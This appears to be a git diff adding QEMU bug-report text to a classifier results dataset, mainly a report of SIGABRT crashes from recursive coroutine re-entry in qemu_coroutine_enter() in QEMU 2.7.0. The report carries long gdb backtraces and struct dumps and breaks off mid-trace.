++ LIBTOOLFLAGS="$LIBTOOLFLAGS -Wc,$flag" ++ sp_on=1 ++ break + done + if test "$stack_protector" = yes; then + if test $sp_on = 0; then +@@ -1608,7 +1613,7 @@ g(unsigned char *buf, int len) + } + + EOF +- if ! libtool_prog; then ++ if ! libtool_prog "" ""; then + echo "Disabling libtool due to broken toolchain support" + libtool= + fi +dcs-xen-53:~/qemu/out/bug-1258168>git log -2 +commit cceddd04255cdacacf91562d43fdb7afcec91242 +Author: Paolo Bonzini <email address hidden> +Date: Thu Nov 13 16:34:16 2014 +0000 + + configure: test patch for 1258168 + +commit b56cb288954d900dec79cc55128efa61bebf6178 +Merge: e08d300 953ea14 +Author: Peter Maydell <email address hidden> +Date: Thu Nov 13 13:02:31 2014 +0000 + + Merge remote-tracking branch 'remotes/kraxel/tags/pull-seabios-1.7.5.1-20141113-1' into staging + + update seabios to 1.7.5.1 stable release + + # gpg: Signature made Thu 13 Nov 2014 11:03:05 GMT using RSA key ID D3E87138 + # gpg: Good signature from "Gerd Hoffmann (work) <email address hidden>" + # gpg: aka "Gerd Hoffmann <email address hidden>" + # gpg: aka "Gerd Hoffmann (private) <email address hidden>" + + * remotes/kraxel/tags/pull-seabios-1.7.5.1-20141113-1: + update seabios to 1.7.5.1 stable release + + Signed-off-by: Peter Maydell <email address hidden> + + +libcacard has been removed from the QEMU sources and is an external project now, so this problem should not exist anymore with the latest version of QEMU. If it still persists, please feel free to re-open this ticket. + diff --git a/results/classifier/deepseek-1/output/setup./1673130 b/results/classifier/deepseek-1/output/setup./1673130 new file mode 100644 index 00000000..7564e684 --- /dev/null +++ b/results/classifier/deepseek-1/output/setup./1673130 @@ -0,0 +1,297 @@ + +qemu 2.7.0 receives SIGABRT in qemu_coroutine_enter() + +I've been experiencing frequent SIGABRTs (in addition to segfaults in #1671876) lately with qemu 2.7.0 running Ubuntu 16.04 guests. The crash usually happens in qemu_coroutine_enter(). I haven't seen this so far with any other guests or distros. + +Here is one stack trace I obtained +-------------------------------------------------------------------------- +(gdb) bt +#0 0x00007fd7cc676067 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 +#1 0x00007fd7cc677448 in __GI_abort () at abort.c:89 +#2 0x0000556aed247b6c in qemu_coroutine_enter (co=0x7fd574300df0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +#3 0x0000556aed247e55 in qemu_co_queue_run_restart (co=0x7fd574300ce0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#4 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd574300ce0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#5 0x0000556aed247e74 in qemu_co_queue_run_restart (co=0x7fd589111670) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#6 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd589111670) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#7 0x0000556aed247e74 in qemu_co_queue_run_restart (co=0x7fd57430dba0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#8 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd57430dba0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#9 0x0000556aed247e74 in qemu_co_queue_run_restart (co=0x7fd589119130) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#10 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd589119130) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#11 0x0000556aed247e74 in qemu_co_queue_run_restart (co=0x7fd589117410) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#12 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd589117410) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#13 0x0000556aed247e74 in qemu_co_queue_run_restart (co=0x7fd577f00e00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#14 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd577f00e00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#15 0x0000556aed247fa0 in qemu_co_enter_next (queue=queue@entry=0x556aef34e5e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#16 0x0000556aed1e6060 in timer_cb (blk=0x556aef34e590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#17 0x0000556aed1a3615 in timerlist_run_timers (timer_list=0x556aef3bad40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#18 0x0000556aed1a3679 in timerlistgroup_run_timers (tlg=tlg@entry=0x556af0738758) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#19 0x0000556aed1a3f47 in aio_dispatch (ctx=ctx@entry=0x556af0738610) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#20 0x0000556aed1a40e8 in aio_poll (ctx=0x556af0738610, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#21 0x0000556aed005c79 in iothread_run (opaque=0x556af07383c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#22 0x00007fd7cc9f40a4 in start_thread (arg=0x7fd7aafff700) at pthread_create.c:403 +#23 0x00007fd7cc72962d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +-------------------------------------------------------------------------- + +The code crashes here +-------------------------------------------------------------------------- +void qemu_coroutine_enter(Coroutine *co) +{ + Coroutine *self = qemu_coroutine_self(); + CoroutineAction ret; + + trace_qemu_coroutine_enter(self, co, co->entry_arg); + + if (co->caller) { + fprintf(stderr, "Co-routine re-entered recursively\n"); + abort(); <--- Code aborts here + } + + [...] +} +-------------------------------------------------------------------------- + +Debugging further we see: +-------------------------------------------------------------------------- +(gdb) frame 2 +#2 0x0000556aed247b6c in qemu_coroutine_enter (co=0x7fd574300df0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +113 /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c: No such file or directory. +(gdb) print *co +$1 = {entry = 0x7fd793e95a58, entry_arg = 0x1, caller = 0x7fd793e95a38, pool_next = {sle_next = 0x10}, co_queue_wakeup = {sqh_first = 0x7fd6ebbd2000, sqh_last = 0x1000}, co_queue_next = { + sqe_next = 0x7fd6ebbd1000}} +(gdb) print *co->caller +$2 = {entry = 0x400400000001, entry_arg = 0xc546a20, caller = 0x0, pool_next = {sle_next = 0x0}, co_queue_wakeup = {sqh_first = 0x0, sqh_last = 0xffffea00061f7480}, co_queue_next = {sqe_next = 0x100000000000}} +(gdb) frame 4 +#4 0x0000556aed2479a9 in qemu_coroutine_enter (co=0x7fd574300ce0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +119 in /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c +(gdb) print *co +$3 = {entry = 0xc00000053, entry_arg = 0x7fd500000001, caller = 0x7fd574300d88, pool_next = {sle_next = 0x7fd574300d90}, co_queue_wakeup = {sqh_first = 0x7fd6ebbd1000, sqh_last = 0x7fd574300e00}, + co_queue_next = {sqe_next = 0xc546a20}} +(gdb) print *co->caller +$4 = {entry = 0x230095a58, entry_arg = 0x230095a38, caller = 0x187dd2000, pool_next = {sle_next = 0x187dd1000}, co_queue_wakeup = {sqh_first = 0x187dd0000, sqh_last = 0x187dcf000}, co_queue_next = { + sqe_next = 0x184970000}} +-------------------------------------------------------------------------- + +The question is, why did qemu_coroutine_enter not complain when in earlier calls co->caller was not NULL? + +Another stack trace: + +-------------------------------------------------------------------------- +(gdb) bt +#0 0x00007f2f34690067 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 +#1 0x00007f2f34691448 in __GI_abort () at abort.c:89 +#2 0x00005629b8260b6c in qemu_coroutine_enter (co=0x7f2cd6a00940) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +#3 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cd6a00880) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#4 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cd6a00880) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#5 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cee202b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#6 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cee202b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#7 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cee2141d0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#8 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cee2141d0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#9 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf300b370) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#10 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf300b370) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#11 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf1a03560) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#12 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf1a03560) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#13 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf3e15ba0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#14 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf3e15ba0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#15 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2ce80087f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#16 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2ce80087f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#17 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cee20d9c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#18 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cee20d9c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#19 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2ceff04850) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#20 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2ceff04850) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#21 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf21061c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#22 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf21061c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#23 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf2105c00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#24 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf2105c00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#25 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf3e1d590) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#26 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf3e1d590) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#27 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf3e16a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#28 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf3e16a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#29 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2ce8004da0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#30 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2ce8004da0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#31 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf3e15dc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#32 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf3e15dc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#33 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2ccff00420) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#34 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2ccff00420) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#35 0x00005629b8260e74 in qemu_co_queue_run_restart (co=0x7f2cf1e04900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#36 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cf1e04900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#37 0x00005629b8260fa0 in qemu_co_enter_next (queue=queue@entry=0x5629ba5e35e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#38 0x00005629b81ff060 in timer_cb (blk=0x5629ba5e3590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#39 0x00005629b81bc615 in timerlist_run_timers (timer_list=0x5629ba64fd40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#40 0x00005629b81bc679 in timerlistgroup_run_timers (tlg=tlg@entry=0x5629bb9cd758) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#41 0x00005629b81bcf47 in aio_dispatch (ctx=ctx@entry=0x5629bb9cd610) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#42 0x00005629b81bd0e8 in aio_poll (ctx=0x5629bb9cd610, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#43 0x00005629b801ec79 in iothread_run (opaque=0x5629bb9cd3c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#44 0x00007f2f34a0e0a4 in start_thread (arg=0x7f2f12fff700) at pthread_create.c:403 +#45 0x00007f2f3474362d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +-------------------------------------------------------------------------- + +Looking at the data: +-------------------------------------------------------------------------- +(gdb) frame 2 +#2 0x00005629b8260b6c in qemu_coroutine_enter (co=0x7f2cd6a00940) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +113 /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c: No such file or directory. +(gdb) print *co +$1 = {entry = 0x7f2efbfbc4d8, entry_arg = 0x1, caller = 0x7f2efbfbc4b8, pool_next = {sle_next = 0x10}, co_queue_wakeup = {sqh_first = 0x7f2d217e2000, sqh_last = 0x1000}, co_queue_next = {sqe_next = 0x0}} +(gdb) print *co->caller +$2 = {entry = 0x1, entry_arg = 0xc21a480, caller = 0x0, pool_next = {sle_next = 0x0}, co_queue_wakeup = {sqh_first = 0x0, sqh_last = 0xffffea0000567882}, co_queue_next = {sqe_next = 0x100000000000}} +(gdb) frame 4 +#4 0x00005629b82609a9 in qemu_coroutine_enter (co=0x7f2cd6a00880) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +119 in /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c +(gdb) print *co +$3 = {entry = 0x200000046, entry_arg = 0x7f2c00000001, caller = 0x7f2cd6a00928, pool_next = {sle_next = 0x7f2cd6a00930}, co_queue_wakeup = {sqh_first = 0x0, sqh_last = 0x7f2cd6a008a0}, co_queue_next = { + sqe_next = 0xc21a480}} +(gdb) print *co->caller +$4 = {entry = 0x2301bc4d8, entry_arg = 0x2301bc4b8, caller = 0x159e2000, pool_next = {sle_next = 0x7f2efbfbc4d8}, co_queue_wakeup = {sqh_first = 0x1, sqh_last = 0x7f2efbfbc4b8}, co_queue_next = { + sqe_next = 0x10}} +-------------------------------------------------------------------------- + +Same as above. If co->caller is not NULL in earlier calls, why have they succeeded? + + + + +Third stack trace: + +-------------------------------------------------------------------------- +#0 0x00007f4d5ad6a067 in raise () from /lib/x86_64-linux-gnu/libc.so.6 +#1 0x00007f4d5ad6b448 in abort () from /lib/x86_64-linux-gnu/libc.so.6 +#2 0x0000562a4c582b6c in qemu_coroutine_enter (co=0x7f4b1bf0a900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +#3 0x0000562a4c582e55 in qemu_co_queue_run_restart (co=0x7f4b1bf0a830) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#4 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1bf0a830) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#5 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b1bf0f4c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#6 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1bf0f4c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#7 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e07c40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#8 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e07c40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#9 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e11420) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#10 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e11420) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#11 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e18c30) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#12 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e18c30) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#13 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b1bf07ea0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#14 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1bf07ea0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#15 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b1000c0c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#16 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1000c0c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#17 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e11b10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#18 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e11b10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#19 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e10500) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#20 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e10500) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#21 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b1bf0a610) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#22 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1bf0a610) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#23 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e12820) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#24 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e12820) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#25 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b10002b10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#26 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b10002b10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#27 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b1000bfb0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#28 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1000bfb0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#29 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e103f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#30 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e103f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#31 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e078b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#32 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e078b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#33 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4adfe02b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#34 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4adfe02b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#35 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b15701ae0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#36 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b15701ae0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#37 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e162f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#38 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e162f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#39 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b10009fe0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#40 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b10009fe0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#41 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0b860) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#42 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0b860) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#43 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b23f035c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#44 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b23f035c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#45 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b19e030c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#46 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b19e030c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#47 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b100051b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#48 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b100051b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#49 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4adfe03970) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#50 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4adfe03970) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#51 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e11a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#52 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e11a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#53 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0e0a0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#54 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0e0a0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#55 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0ede0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#56 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0ede0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#57 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4aeff00860) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#58 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4aeff00860) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +---Type <return> to continue, or q <return> to quit--- +#59 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0d6f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#60 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0d6f0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#61 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0e490) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#62 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0e490) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#63 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e17370) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#64 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e17370) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#65 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e15c40) at 